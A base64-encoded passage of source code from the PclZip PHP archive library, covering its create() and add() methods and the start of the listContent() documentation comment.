QQ0xaSVBfT1BUX1JFTU9WRV9QQVRIXSA9ICR2X2FyZ19saXN0WzFdOwogICAgICAgIH0KICAgICAgICBlbHNlIGlmICgkdl9zaXplID4gMikgewogICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwKCQkgICAgICAgICAgICAgICAgICAgICAgICJJbnZhbGlkIG51bWJlciAvIHR5cGUgb2YgYXJndW1lbnRzIik7CiAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9CiAgICAgIH0KICAgIH0KCiAgICAvLyAtLS0tLSBMb29rIGZvciBkZWZhdWx0IG9wdGlvbiB2YWx1ZXMKICAgICR0aGlzLT5wcml2T3B0aW9uRGVmYXVsdFRocmVzaG9sZCgkdl9vcHRpb25zKTsKCiAgICAvLyAtLS0tLSBJbml0CiAgICAkdl9zdHJpbmdfbGlzdCA9IGFycmF5KCk7CiAgICAkdl9hdHRfbGlzdCA9IGFycmF5KCk7CiAgICAkdl9maWxlZGVzY3JfbGlzdCA9IGFycmF5KCk7CiAgICAkcF9yZXN1bHRfbGlzdCA9IGFycmF5KCk7CgogICAgLy8gLS0tLS0gTG9vayBpZiB0aGUgJHBfZmlsZWxpc3QgaXMgcmVhbGx5IGFuIGFycmF5CiAgICBpZiAoaXNfYXJyYXkoJHBfZmlsZWxpc3QpKSB7CgogICAgICAvLyAtLS0tLSBMb29rIGlmIHRoZSBmaXJzdCBlbGVtZW50IGlzIGFsc28gYW4gYXJyYXkKICAgICAgLy8gICAgICAgVGhpcyB3aWxsIG1lYW4gdGhhdCB0aGlzIGlzIGEgZmlsZSBkZXNjcmlwdGlvbiBlbnRyeQogICAgICBpZiAoaXNzZXQoJHBfZmlsZWxpc3RbMF0pICYmIGlzX2FycmF5KCRwX2ZpbGVsaXN0WzBdKSkgewogICAgICAgICR2X2F0dF9saXN0ID0gJHBfZmlsZWxpc3Q7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIFRoZSBsaXN0IGlzIGEgbGlzdCBvZiBzdHJpbmcgbmFtZXMKICAgICAgZWxzZSB7CiAgICAgICAgJHZfc3RyaW5nX2xpc3QgPSAkcF9maWxlbGlzdDsKICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgaWYgdGhlICRwX2ZpbGVsaXN0IGlzIGEgc3RyaW5nCiAgICBlbHNlIGlmIChpc19zdHJpbmcoJHBfZmlsZWxpc3QpKSB7CiAgICAgIC8vIC0tLS0tIENyZWF0ZSBhIGxpc3QgZnJvbSB0aGUgc3RyaW5nCiAgICAgICR2X3N0cmluZ19saXN0ID0gZXhwbG9kZShQQ0xaSVBfU0VQQVJBVE9SLCAkcF9maWxlbGlzdCk7CiAgICB9CgogICAgLy8gLS0tLS0gSW52YWxpZCB2YXJpYWJsZSB0eXBlIGZvciAkcF9maWxlbGlzdAogICAgZWxzZSB7CiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfSU5WQUxJRF9QQVJBTUVURVIsICJJbnZhbGlkIHZhcmlhYmxlIHR5cGUgcF9maWxlbGlzdCIpOwogICAgICByZXR1cm4gMDsKICAgIH0KCiAgICAvLyAtLS0tLSBSZWZvcm1hdCB0aGUgc3RyaW5nIGxpc3QKICAgIGlmIChzaXplb2YoJHZfc3RyaW5nX2xpc3QpICE9IDApIHsKICAgICAgZm9yZWFjaCAoJHZfc3RyaW5nX2xpc3QgYXMgJHZfc3RyaW5nKSB7CiAgICAgICAgaWYgKCR2X3N0cmluZyAhPSAnJykgewogICAgICAgICAgJHZfYXR0X2xpc3RbXVtQQ0xaSVBfQVRUX0ZJTEVfTkFNRV0gPSAkdl9zdHJpbmc7CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgIH0KICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIEZvciBlYWNoIGZpbGUgaW4gdGhlIGxpc3QgY2hlY2sgdGhlIGF0dHJpYnV0ZXMKICAgICR2X3N1cHBvcnRlZF9hdHRyaWJ1dGVzCiAgICA9IGFycmF5ICggUENMWklQX0FUVF9GSUxFX05BTUUgPT4gJ21hbmRhdG9yeScKICAgICAgICAgICAgICxQQ0xaSVBfQVRUX0ZJTEVfTkVXX1NIT1JUX05BTUUgPT4gJ29wdGlvbmFsJwogICAgICAgICAgICAgLFBDTFpJUF9BVFRfRklMRV9ORVdfRlVMTF9OQU1FID0+ICdvcHRpb25hbCcKICAgICAgICAgICAgICxQQ0xaSVBfQVRUX0ZJTEVfTVRJTUUgPT4gJ29wdGlvbmFsJwogICAgICAgICAgICAgLFBDTFpJUF9BVFRfRklMRV9DT05URU5UID0+ICdvcHRpb25hbCcKICAgICAgICAgICAgICxQQ0xaSVBfQVRUX0ZJTEVfQ09NTUVOVCA9PiAnb3B0aW9uYWwnCgkJCQkJCSk7CiAgICBmb3JlYWNoICgkdl9hdHRfbGlzdCBhcyAkdl9lbnRyeSkgewogICAgICAkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdkZpbGVEZXNjclBhcnNlQXR0KCR2X2VudHJ5LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2X2ZpbGVkZXNjcl9saXN0W10sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZfb3B0aW9ucywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdl9zdXBwb3J0ZWRfYXR0cmlidXRlcyk7CiAgICAgIGlmICgkdl9yZXN1bHQgIT0gMSkgewogICAgICAgIHJldHVybiAwOwogICAgICB9CiAgICB9CgogICAgLy8gLS0tLS0gRXhwYW5kIHRoZSBmaWxlbGlzdCAoZXhwYW5kIGRpcmVjdG9yaWVzKQogICAgJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZGaWxlRGVzY3JFeHBhbmQoJHZfZmlsZWRlc2NyX2xpc3QsICR2X29wdGlvbnMpOwogICAgaWYgKCR2X3Jlc3VsdCAhPSAxKSB7CiAgICAgIHJldHVybiAwOwogICAgfQoKICAgIC8vIC0tLS0tIENhbGwgdGhlIGNyZWF0ZSBmY3QKICAgICR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2Q3JlYXRlKCR2X2ZpbGVkZXNjcl9saXN0LCAkcF9yZXN1bHRfbGlzdCwgJHZfb3B0aW9ucyk7CiAgICBpZiAoJHZfcmVzdWx0ICE9IDEpIHsKICAgICAgcmV0dXJuIDA7CiAgICB9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHBfcmVzdWx0X2xpc3Q7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOgogIC8vICAgYWRkKCRwX2ZpbGVsaXN0LCAkcF9hZGRfZGlyPSIiLCAkcF9yZW1vdmVfZGlyPSIiKQogIC8vICAgYWRkKCRwX2ZpbGVsaXN0LCAkcF9vcHRpb24sICRwX29wdGlvbl92YWx1ZSwgLi4uKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIFRoaXMgbWV0aG9kIHN1cHBvcnRzIHR3byBzeW5vcHNpcy4gVGhlIGZpcnN0IG9uZSBpcyBoaXN0b3JpY2FsLgogIC8vICAgVGhpcyBtZXRob2RzIGFkZCB0aGUgbGlzdCBvZiBmaWxlcyBpbiBhbiBleGlzdGluZyBhcmNoaXZlLgogIC8vICAgSWYgYSBmaWxlIHdpdGggdGhlIHNhbWUgbmFtZSBhbHJlYWR5IGV4aXN0cywgaXQgaXMgYWRkZWQgYXQgdGhlIGVuZCBvZiB0aGUKICAvLyAgIGFyY2hpdmUsIHRoZSBmaXJzdCBvbmUgaXMgc3RpbGwgcHJlc2VudC4KICAvLyAgIElmIHRoZSBhcmNoaXZlIGRvZXMgbm90IGV4aXN0LCBpdCBpcyBjcmVhdGVkLgogIC8vIFBhcmFtZXRlcnMgOgogIC8vICAgJHBfZmlsZWxpc3QgOiBBbiBhcnJheSBjb250YWluaW5nIGZpbGUgb3IgZGlyZWN0b3J5IG5hbWVzLCBvcgogIC8vICAgICAgICAgICAgICAgICBhIHN0cmluZyBjb250YWluaW5nIG9uZSBmaWxlbmFtZSBvciBvbmUgZGlyZWN0b3J5IG5hbWUsIG9yCiAgLy8gICAgICAgICAgICAgICAgIGEgc3RyaW5nIGNvbnRhaW5pbmcgYSBsaXN0IG9mIGZpbGVuYW1lcyBhbmQvb3IgZGlyZWN0b3J5CiAgLy8gICAgICAgICAgICAgICAgIG5hbWVzIHNlcGFyYXRlZCBieSBzcGFjZXMuCiAgLy8gICAkcF9hZGRfZGlyIDogQSBwYXRoIHRvIGFkZCBiZWZvcmUgdGhlIHJlYWwgcGF0aCBvZiB0aGUgYXJjaGl2ZWQgZmlsZSwKICAvLyAgICAgICAgICAgICAgICBpbiBvcmRlciB0byBoYXZlIGl0IG1lbW9yaXplZCBpbiB0aGUgYXJjaGl2ZS4KICAvLyAgICRwX3JlbW92ZV9kaXIgOiBBIHBhdGggdG8gcmVtb3ZlIGZyb20gdGhlIHJlYWwgcGF0aCBvZiB0aGUgZmlsZSB0byBhcmNoaXZlLAogIC8vICAgICAgICAgICAgICAgICAgIGluIG9yZGVyIHRvIGhhdmUgYSBzaG9ydGVyIHBhdGggbWVtb3JpemVkIGluIHRoZSBhcmNoaXZlLgogIC8vICAgICAgICAgICAgICAgICAgIFdoZW4gJHBfYWRkX2RpciBhbmQgJHBfcmVtb3ZlX2RpciBhcmUgc2V0LCAkcF9yZW1vdmVfZGlyCiAgLy8gICAgICAgICAgICAgICAgICAgaXMgcmVtb3ZlZCBmaXJzdCwgYmVmb3JlICRwX2FkZF9kaXIgaXMgYWRkZWQuCiAgLy8gT3B0aW9ucyA6CiAgLy8gICBQQ0xaSVBfT1BUX0FERF9QQVRIIDoKICAvLyAgIFBDTFpJUF9PUFRfUkVNT1ZFX1BBVEggOgogIC8vICAgUENMWklQX09QVF9SRU1PVkVfQUxMX1BBVEggOgogIC8vICAgUENMWklQX09QVF9DT01NRU5UIDoKICAvLyAgIFBDTFpJUF9PUFRfQUREX0NPTU1FTlQgOgogIC8vICAgUENMWklQX09QVF9QUkVQRU5EX0NPTU1FTlQgOgogIC8vICAgUENMWklQX0NCX1BSRV9BREQgOgogIC8vICAgUENMWklQX0NCX1BPU1RfQUREIDoKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAgIDAgb24gZmFpbHVyZSwKICAvLyAgIFRoZSBsaXN0IG9mIHRoZSBhZGRlZCBmaWxlcywgd2l0aCBhIHN0YXR1cyBvZiB0aGUgYWRkIGFjdGlvbi4KICAvLyAgIChzZWUgUGNsWmlwOjpsaXN0Q29udGVudCgpIGZvciBsaXN0IGVudHJ5IGZvcm1hdCkKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIGFkZCgkcF9maWxlbGlzdCkKICB7CiAgICAkdl9yZXN1bHQ9MTsKCiAgICAvLyAtLS0tLSBSZXNldCB0aGUgZXJyb3IgaGFuZGxlcgogICAgJHRoaXMtPnByaXZFcnJvclJlc2V0KCk7CgogICAgLy8gLS0tLS0gU2V0IGRlZmF1bHQgdmFsdWVzCiAgICAkdl9vcHRpb25zID0gYXJyYXkoKTsKICAgICR2X29wdGlvbnNbUENMWklQX09QVF9OT19DT01QUkVTU0lPTl0gPSBGQUxTRTsKCiAgICAvLyAtLS0tLSBMb29rIGZvciB2YXJpYWJsZSBvcHRpb25zIGFyZ3VtZW50cwogICAgJHZfc2l6ZSA9IGZ1bmNfbnVtX2FyZ3MoKTsKCiAgICAvLyAtLS0tLSBMb29rIGZvciBhcmd1bWVudHMKICAgIGlmICgkdl9zaXplID4gMSkgewogICAgICAvLyAtLS0tLSBHZXQgdGhlIGFyZ3VtZW50cwogICAgICAkdl9hcmdfbGlzdCA9IGZ1bmNfZ2V0X2FyZ3MoKTsKCiAgICAgIC8vIC0tLS0tIFJlbW92ZSBmb3JtIHRoZSBvcHRpb25zIGxpc3QgdGhlIGZpcnN0IGFyZ3VtZW50CiAgICAgIGFycmF5X3NoaWZ0KCR2X2FyZ19saXN0KTsKICAgICAgJHZfc2l6ZS0tOwoKICAgICAgLy8gLS0tLS0gTG9vayBmb3IgZmlyc3QgYXJnCiAgICAgIGlmICgoaXNfaW50ZWdlcigkdl9hcmdfbGlzdFswXSkpICYmICgkdl9hcmdfbGlzdFswXSA+IDc3MDAwKSkgewoKICAgICAgICAvLyAtLS0tLSBQYXJzZSB0aGUgb3B0aW9ucwogICAgICAgICR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2UGFyc2VPcHRpb25zKCR2X2FyZ19saXN0LCAkdl9zaXplLCAkdl9vcHRpb25zLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5IChQQ0xaSVBfT1BUX1JFTU9WRV9QQVRIID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfUkVNT1ZFX0FMTF9QQVRIID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfQUREX1BBVEggPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX0NCX1BSRV9BREQgPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX0NCX1BPU1RfQUREID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfTk9fQ09NUFJFU1NJT04gPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9DT01NRU5UID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfQUREX0NPTU1FTlQgPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9QUkVQRU5EX0NPTU1FTlQgPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9URU1QX0ZJTEVfVEhSRVNIT0xEID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfVEVNUF9GSUxFX09OID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfVEVNUF9GSUxFX09GRiA9PiAnb3B0aW9uYWwnCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vLCBQQ0xaSVBfT1BUX0NSWVBUID0+ICdvcHRpb25hbCcKCQkJCQkJCQkJCQkJICAgKSk7CiAgICAgICAgaWYgKCR2X3Jlc3VsdCAhPSAxKSB7CiAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIDIgYXJncwogICAgICAvLyBIZXJlIHdlIG5lZWQgdG8gc3VwcG9ydCB0aGUgZmlyc3QgaGlzdG9yaWMgc3lub3BzaXMgb2YgdGhlCiAgICAgIC8vIG1ldGhvZC4KICAgICAgZWxzZSB7CgogICAgICAgIC8vIC0tLS0tIEdldCB0aGUgZmlyc3QgYXJndW1lbnQKICAgICAgICAkdl9vcHRpb25zW1BDTFpJUF9PUFRfQUREX1BBVEhdID0gJHZfYWRkX3BhdGggPSAkdl9hcmdfbGlzdFswXTsKCiAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgdGhlIG9wdGlvbmFsIHNlY29uZCBhcmd1bWVudAogICAgICAgIGlmICgkdl9zaXplID09IDIpIHsKICAgICAgICAgICR2X29wdGlvbnNbUENMWklQX09QVF9SRU1PVkVfUEFUSF0gPSAkdl9hcmdfbGlzdFsxXTsKICAgICAgICB9CiAgICAgICAgZWxzZSBpZiAoJHZfc2l6ZSA+IDIpIHsKICAgICAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwgIkludmFsaWQgbnVtYmVyIC8gdHlwZSBvZiBhcmd1bWVudHMiKTsKCiAgICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICAgIHJldHVybiAwOwogICAgICAgIH0KICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgZm9yIGRlZmF1bHQgb3B0aW9uIHZhbHVlcwogICAgJHRoaXMtPnByaXZPcHRpb25EZWZhdWx0VGhyZXNob2xkKCR2X29wdGlvbnMpOwoKICAgIC8vIC0tLS0tIEluaXQKICAgICR2X3N0cmluZ19saXN0ID0gYXJyYXkoKTsKICAgICR2X2F0dF9saXN0ID0gYXJyYXkoKTsKICAgICR2X2ZpbGVkZXNjcl9saXN0ID0gYXJyYXkoKTsKICAgICRwX3Jlc3VsdF9saXN0ID0gYXJyYXkoKTsKCiAgICAvLyAtLS0tLSBMb29rIGlmIHRoZSAkcF9maWxlbGlzdCBpcyByZWFsbHkgYW4gYXJyYXkKICAgIGlmIChpc19hcnJheSgkcF9maWxlbGlzdCkpIHsKCiAgICAgIC8vIC0tLS0tIExvb2sgaWYgdGhlIGZpcnN0IGVsZW1lbnQgaXMgYWxzbyBhbiBhcnJheQogICAgICAvLyAgICAgICBUaGlzIHdpbGwgbWVhbiB0aGF0IHRoaXMgaXMgYSBmaWxlIGRlc2NyaXB0aW9uIGVudHJ5CiAgICAgIGlmIChpc3NldCgkcF9maWxlbGlzdFswXSkgJiYgaXNfYXJyYXkoJHBfZmlsZWxpc3RbMF0pKSB7CiAgICAgICAgJHZfYXR0X2xpc3QgPSAkcF9maWxlbGlzdDsKICAgICAgfQoKICAgICAgLy8gLS0tLS0gVGhlIGxpc3QgaXMgYSBsaXN0IG9mIHN0cmluZyBuYW1lcwogICAgICBlbHNlIHsKICAgICAgICAkdl9zdHJpbmdfbGlzdCA9ICRwX2ZpbGVsaXN0OwogICAgICB9CiAgICB9CgogICAgLy8gLS0tLS0gTG9vayBpZiB0aGUgJHBfZmlsZWxpc3QgaXMgYSBzdHJpbmcKICAgIGVsc2UgaWYgKGlzX3N0cmluZygkcF9maWxlbGlzdCkpIHsKICAgICAgLy8gLS0tLS0gQ3JlYXRlIGEgbGlzdCBmcm9tIHRoZSBzdHJpbmcKICAgICAgJHZfc3RyaW5nX2xpc3QgPSBleHBsb2RlKFBDTFpJUF9TRVBBUkFUT1IsICRwX2ZpbGVsaXN0KTsKICAgIH0KCiAgICAvLyAtLS0tLSBJbnZhbGlkIHZhcmlhYmxlIHR5cGUgZm9yICRwX2ZpbGVsaXN0CiAgICBlbHNlIHsKICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwgIkludmFsaWQgdmFyaWFibGUgdHlwZSAnIi5nZXR0eXBlKCRwX2ZpbGVsaXN0KS4iJyBmb3IgcF9maWxlbGlzdCIpOwogICAgICByZXR1cm4gMDsKICAgIH0KCiAgICAvLyAtLS0tLSBSZWZvcm1hdCB0aGUgc3RyaW5nIGxpc3QKICAgIGlmIChzaXplb2YoJHZfc3RyaW5nX2xpc3QpICE9IDApIHsKICAgICAgZm9yZWFjaCAoJHZfc3RyaW5nX2xpc3QgYXMgJHZfc3RyaW5nKSB7CiAgICAgICAgJHZfYXR0X2xpc3RbXVtQQ0xaSVBfQVRUX0ZJTEVfTkFNRV0gPSAkdl9zdHJpbmc7CiAgICAgIH0KICAgIH0KCiAgICAvLyAtLS0tLSBGb3IgZWFjaCBmaWxlIGluIHRoZSBsaXN0IGNoZWNrIHRoZSBhdHRyaWJ1dGVzCiAgICAkdl9zdXBwb3J0ZWRfYXR0cmlidXRlcwogICAgPSBhcnJheSAoIFBDTFpJUF9BVFRfRklMRV9OQU1FID0+ICdtYW5kYXRvcnknCiAgICAgICAgICAgICAsUENMWklQX0FUVF9GSUxFX05FV19TSE9SVF9OQU1FID0+ICdvcHRpb25hbCcKICAgICAgICAgICAgICxQQ0xaSVBfQVRUX0ZJTEVfTkVXX0ZVTExfTkFNRSA9PiAnb3B0aW9uYWwnCiAgICAgICAgICAgICAsUENMWklQX0FUVF9GSUxFX01USU1FID0+ICdvcHRpb25hbCcKICAgICAgICAgICAgICxQQ0xaSVBfQVRUX0ZJTEVfQ09OVEVOVCA9PiAnb3B0aW9uYWwnCiAgICAgICAgICAgICAsUENMWklQX0FUVF9GSUxFX0NPTU1FTlQgPT4gJ29wdGlvbmFsJwoJCQkJCQkpOwogICAgZm9yZWFjaCAoJHZfYXR0X2xpc3QgYXMgJHZfZW50cnkpIHsKICAgICAgJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZGaWxlRGVzY3JQYXJzZUF0dCgkdl9lbnRyeSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdl9maWxlZGVzY3JfbGlzdFtdLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2X29wdGlvbnMsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZfc3VwcG9ydGVkX2F0dHJpYnV0ZXMpOwogICAgICBpZiAoJHZfcmVzdWx0ICE9IDEpIHsKICAgICAgICByZXR1cm4gMDsKICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIEV4cGFuZCB0aGUgZmlsZWxpc3QgKGV4cGFuZCBkaXJlY3RvcmllcykKICAgICR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2RmlsZURlc2NyRXhwYW5kKCR2X2ZpbGVkZXNjcl9saXN0LCAkdl9vcHRpb25zKTsKICAgIGlmICgkdl9yZXN1bHQgIT0gMSkgewogICAgICByZXR1cm4gMDsKICAgIH0KCiAgICAvLyAtLS0tLSBDYWxsIHRoZSBjcmVhdGUgZmN0CiAgICAkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdkFkZCgkdl9maWxlZGVzY3JfbGlzdCwgJHBfcmVzdWx0X2xpc3QsICR2X29wdGlvbnMpOwogICAgaWYgKCR2X3Jlc3VsdCAhPSAxKSB7CiAgICAgIHJldHVybiAwOwogICAgfQoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICRwX3Jlc3VsdF9saXN0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogbGlzdENvbnRlbnQoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIFRoaXMgcHVibGljIG1ldGhvZCwgZ2l2ZXMgdGhlIGxpc3Qgb2YgdGhlIGZpbGVzIGFuZCBkaXJlY3Rvcmllcywgd2l0aCB0aGVpcgogIC8vICAgcHJvcGVydGllcy4KICAvLyAgIFRoZSBwcm9wZXJ0aWVzIG9mIGVhY2ggZW50cmllcyBpbiB0aGUgbGlzdCBhcmUgKHVzZWQgYWxzbyBpbiBvdGhlciBmdW5jdGlvbnMpIDoKICAvLyAgICAgZmlsZW5hbWUgOiBOYW1lIG9mIHRoZSBmaWxlLiBGb3IgYSBjcmVhdGUgb3IgYWRkIGFjdGlvbiBpdCBpcyB0aGUgZmlsZW5hbWUKICAvLyAgICAgICAgICAgICAgICBnaXZlbiBieSB0aGUgdXNlci4gRm9yIGFuIGV4dHJhY3QgZnVuY3Rpb24gaXQgaXMgdGhlIGZpbGVuYW1lCiAgLy8gICAgICAgICAgICAgICAgb2YgdGhlIGV4dHJhY3RlZCBmaWxlLgogIC8vICAgICBzdG9yZWRfZmlsZW5hbWUgOiBOYW1lIG9mIHRoZSBmaWxlIC8gZGlyZWN0b3J5IHN0b3JlZCBpbiB0aGUgYXJjaGl2ZS4KICAvLyAgICAgc2l6ZSA6IFNpemUgb2YgdGhlIHN0b3JlZCBmaWxlLgogIC8vICAgICBjb21wcmVzc2VkX3NpemUgOiBTaXplIG9mIHRoZSBmaWxlJ3MgZGF0YSBjb21wcmVzc2VkIGluIHRoZSBhcmNoaXZlCiAgLy8gICAgICAgICAgICAgICAgICAgICAgICh3aXRob3V0IHRoZSBoZWFkZXJzIG92ZXJoZWFkKQogIC8vICAgICBtdGltZSA6IExhc3Qga25vd24gbW9kaWZpY2F0aW9uIGRhdGUgb2YgdGhlIGZpbGUgKFVOSVggdGltZXN0YW1wKQogIC8vICAgICBjb21tZW50IDogQ29tbWVudCBhc3NvY2lhdGVkIHdpdGggdGhlIGZpbGUKICAvLyAgICAgZm9sZGVyIDogdHJ1ZSB8IGZhbHNlCiAgLy8gICAgIGluZGV4IDogaW5kZXggb2YgdGhlIGZpbGUgaW4gdGhlIGFyY2hpdmUKICAvLyAgICAgc3RhdHVzIDogc3RhdHVzIG9mIHRoZSBhY3Rpb24gKGRlcGVuZGluZyBvZiB0aGUgYWN0aW9uKSA6CiAgLy8gICAgICAgICAgICAgIFZhbHVlcyBhcmUgOgogIC8vICAgICAgICAgICAgICAgIG9rIDogT0sgIQogIC8vICAgICAgICAgICAgICAgIGZpbHRlcmVkIDogdGhlIGZpbGUgLyBkaXIgaXMgbm90IGV4dHJhY3RlZCAoZmlsdGVyZWQgYnkgdXNlcikKICAvLyAgICAgICAgICAgICAgICBhbHJlYWR5X2FfZGlyZWN0b3J5IDogdGhlIGZpbGUgY2FuIG5vdCBiZSBleHRyYWN0ZWQgYmVjYXVzZSBhCiAgLy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpcmVjdG9yeSB3aXRoIHRoZSBzYW1lIG5hbWUgYWxyZWFkeSBleGlzdHMKICAvLyAgICAgICAgICAgICAgICB3cml0ZV9wcm90ZWN0ZWQgOiB0aGUgZmlsZSBjYW4gbm90IGJlIGV4dHJhY3RlZCBiZWNhdXNlIGEgZmlsZQogIC8vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpdGggdGhlIHNhbWUgbmFtZSBhbHJlYWR5IGV4aXN0cyBhbmQgaXMKICAvLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3cml0ZSBwcm90ZWN0ZWQKICAvLyAgICAgICAgICAgICAgICBuZXdlcl9leGlzdCA6IHRoZSBmaWxlIHdhcyBub3QgZXh0cmFjdGVkIGJlY2F1c2UgYSBuZXdlciBmaWxlIGV4aXN0cwogIC8vICAgICAgICAgICAgICAgIHBhdGhfY3JlYXRpb25fZmFpbCA6IHRoZSBmaWxlIGlzIG5vdCBleHRyYWN0ZWQgYmVjYXVzZSB0aGUgZm9sZGVyCiAgLy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9lcyBub3QgZXhpc3QgYW5kIGNhbiBub3QgYmUgY3JlYXRlZAogIC8vICAgICAgICAgICAgICAgIHdyaXRlX2Vycm9yIDogdGhlIGZpbGUgd2FzIG5vdCBleHRyYWN0ZWQgYmVjYXVzZSB0aGVyZSB3YXMgYQogIC8vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3Igd2hpbGUgd3JpdGluZyB0aGUgZmlsZQogIC8vICAgICAgICAgICAgICAgIHJlYWRfZXJyb3IgOiB0aGUgZmlsZSB3YXMgbm90IGV4dHJhY3RlZCBiZWNhdXNlIHRoZXJlIHdhcyBhIGVycm9yCiAgLy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIHJlYWRpbmcgdGhlIGZpbGUKICAvLyAgICAgICAgICAgICAgICBpbnZhbGlkX2hlYWRlciA6IHRoZSBmaWxlIHdhcyBub3QgZXh0cmFjdGVkIGJlY2F1c2Ugb2YgYW4gYXJjaGl2ZQogIC8vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybWF0IGVycm9yIChiYWQgZmlsZSBoZWFkZXIpCiAgLy8gICBOb3RlIHRoYXQgZWFjaCB0aW1lIGEgbWV0aG9kIGNhbiBjb250aW51ZSBvcGVyYXRpbmcgd2hlbiB0aGVyZQogIC8vICAgaXMgYW4gYWN0aW9uIGVycm9yIG9uIGEgZmlsZSwg